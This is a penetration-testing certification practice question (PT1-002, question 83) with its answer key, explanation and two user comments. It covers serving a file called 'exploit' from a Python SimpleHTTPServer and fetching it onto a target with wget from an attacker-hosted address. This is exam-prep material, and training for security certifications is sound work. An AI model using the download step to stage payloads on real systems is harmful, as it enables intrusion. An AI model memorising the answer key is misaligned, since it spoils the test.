PT1-002 Exam QuestionsBrowse all questions from this exam

PT1-002 Exam - Question 83


A penetration tester ran the following command on a staging server: python `"m SimpleHTTPServer 9891

Which of the following commands could be used to download a file named exploit to a target machine for execution?

Show Answer
Correct Answer: D

When a python SimpleHTTPServer is started on a specified port, in this case port 9891, it serves files over HTTP. To download a file named exploit from this server, the wget command is appropriate. The command 'wget 10.10.51.50:9891/exploit' will attempt to retrieve the file hosted at that address and port, which matches the behavior expected from a HTTP server started with SimpleHTTPServer.

Discussion

2 comments
Sign in to comment
some_specialistOption: D
Mar 29, 2022

https://www.redhat.com/sysadmin/simple-http-server "Another option is to use wget or curl to download the files to the remote system. wget http://<ip>:8000/filename curl http://<ip>:8000/filename "

CCSXoraboveOption: D
Jul 18, 2024

wget 100% sure